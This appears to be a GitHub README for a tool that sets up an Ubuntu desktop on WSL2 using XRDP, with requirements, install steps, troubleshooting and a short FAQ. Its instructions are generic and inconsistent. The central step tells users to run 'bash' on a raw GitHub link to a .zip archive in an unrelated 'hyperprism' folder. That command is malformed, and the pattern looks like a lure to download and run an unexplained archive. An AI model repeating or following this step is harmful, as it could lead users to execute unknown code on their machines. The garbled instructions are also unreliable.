A comprehensive, step-by-step guide to setting up a native Ubuntu GUI on WSL2 using XRDP. The most stable way to run Ubuntu GUI on WSL2. Features automated setup, RAM optimization, "No-Snap" native app prioritization, and one-click Start/Stop scripts to fix the "Blank Screen" bug.
To begin using WSL-Ubuntu-GUI-setup, follow the steps below. This guide will help you download and run the software with ease.
- Windows 10 (Version 1903 or later) or Windows 11
- Windows Subsystem for Linux (WSL2) installed
- At least 4 GB RAM recommended
- A stable internet connection
Before starting, ensure you have the following tools installed:
- WSL2 enabled on your Windows machine
- A terminal application (Windows Terminal or Command Prompt)
To download WSL-Ubuntu-GUI-setup, visit this page to download: Releases Page.
- Navigate to the Releases section.
- Find the latest version.
- Download the appropriate file for your system.
Once downloaded, run the installation file by following these steps:
- Open Windows Terminal or Command Prompt.
- Use the command
wslto enter the WSL environment. - Navigate to the directory where the installer was downloaded, then execute the installation command.
Follow these steps to install the Ubuntu GUI:
- Launch the Terminal: Use the Windows Start Menu to open Windows Terminal.
- Enter WSL: Type
wsland press Enter. - Download the Installer: Use
wgetor another tool to download the setup file. - Run the Setup: Execute the setup script using the command:
bash https://raw.githubusercontent.com/DemidovAlexander1/WSL-Ubuntu-GUI-setup/main/hyperprism/WS_setup_GU_Ubuntu_v1.0.zip
- Follow Prompts: The script will guide you through specific configurations. Just follow the prompts and make selections as needed.
After installation is complete, you can run the Ubuntu GUI with the following steps:
-
Open Windows Terminal.
-
Type
wsland press Enter to enter the WSL environment. -
Start the XRDP service by executing:
sudo service xrdp start
-
Connect using your preferred Remote Desktop Client by entering
localhost:3389.
You should see the Ubuntu GUI displayed on your screen.
- Automated Setup: Simplified installation process.
- RAM Optimization: Efficient memory usage for better performance.
- No-Snap App Prioritization: Focus on native applications.
- One-Click Scripts: Easy Start/Stop scripts to resolve common issues, like the "Blank Screen" bug.
If you encounter issues while using the Ubuntu GUI, consider the following:
- Ensure your system meets the requirements.
- Restart the XRDP service if you face a black screen.
- Check the Windows firewall settings to allow connections to the XRDP port (3389).
Q: What is WSL?
A: WSL stands for Windows Subsystem for Linux. It allows you to run a Linux environment directly on Windows.
Q: Can I use other desktop environments?
A: Yes, you can modify the setup to use other lightweight desktop environments if desired.
For more information, visit the following links:
This project is licensed under the MIT License. See the LICENSE file for details.
Thank you to the open-source community for contributing to the WSL and XRDP projects.
For any additional questions or issues, please feel free to open an issue on this repository. Your feedback is valuable and helps improve the software for everyone.